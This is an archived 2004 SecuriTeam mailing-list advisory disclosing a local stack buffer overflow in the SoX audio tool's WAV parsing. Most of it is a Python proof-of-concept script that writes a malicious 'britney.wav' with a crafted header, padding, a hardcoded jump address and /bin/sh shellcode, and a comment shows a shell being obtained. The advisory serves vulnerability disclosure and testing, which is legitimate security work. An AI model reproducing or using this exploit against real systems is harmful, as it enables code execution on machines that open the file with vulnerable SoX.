

[EXPL] SoX Local Buffer Overflow Exploit

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-08/0002.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/01/04

To: list@securiteam.com

Date: 1 Aug 2004 14:11:00 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

SoX Local Buffer Overflow Exploit

SUMMARY

As we reported in <http://www.securiteam.com/unixfocus/5AP0L2KDFC.html> SoX Local Buffer Overflow Vulnerabilities (st_wavstartread), SoX is vulnerable to a buffer overflow attack when processing WAV files. The condition occurs due to a user controlled length variable which is used to copy data to a local buffer without any bounds checking.

The following exploit can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
# POC Exploit for SoX Stack Overflow Vulnerability found by Ulf Harnhammar
```

```
# Tested Under Slackware 9.1
```

```
# Serkan Akpolat sakpolat@gmx.net | deicide@siyahsapka.org
```

```
# Homepage: http://deicide.siyahsapka.org
```

```
# Greetings to: Virulent
```

```
# deicide@gate:~$ play britney.wav
```

```
# sh-2.05b$
```

```
# "jmp %esp" from libc.so , change this if needed..
```

Securiteam: [EXPL] SoX Local Buffer Overflow Exploit

```
retJmpEsp=0x4029824B
```

```
# intel_order() from MOSDEF
def intel_order(myint):
    str=""
    a=chr(myint % 256)
    myint=myint >> 8
    b=chr(myint % 256)
    myint=myint >> 8
    c=chr(myint % 256)
    myint=myint >> 8
    d=chr(myint % 256)
    str+="%c%c%c%c" % (a,b,c,d)
    return str
```

```
# Wave Header
```

```
begin = "\x52\x49\x46\x46\x74\x05\x00\x00\x57\x41\x56\x45\x66\x6d\x74\x20"
+ \
"\x32\x00\x00\x00\x02\x00\x01\x00\x70\x17\x00\x00\x00\x0c\x00\x00" + \
"\x00\x01\x04\x00\x20\x00\xff\x01\x07\x00\x00\x01\x00\x00\x00\x02" + \
"\x00\xff\x00\x00\x00\x00\xc0\x00\x40\x00\xf0\x00\x00\x00\xcc\x01" + \
"\x30\xff\x88\x01\x18\xff\x66\x61\x63\x74\x04\x00\x00\x00\x00\x00" + \
"\x00\x00\x64\x61\x74\x61\x00\x00\x00\x00\x4c\x49\x53\x54\x9a\x01" + \
"\x00\x00\x49\x4e\x46\x4f\x49\x41\x52\x54\x08\x00\x00\x00\x44\x65" + \
"\x69\x63\x69\x64\x65\x00\x49\x43\x52\x44\x7e\x01\x00\x00"
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
```

```
evilBuf = begin+"boom"*75+intel_order(retJmpEsp)+shellcode
wavFile = open("britney.wav", "wb")
wavFile.write(evilBuf)
wavFile.close()
print "Evil Song has been created :Pp"
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:sakpolat@gmx.net>> Serkan Akpolat.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

Securiteam: [EXPL] SoX Local Buffer Overflow Exploit

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.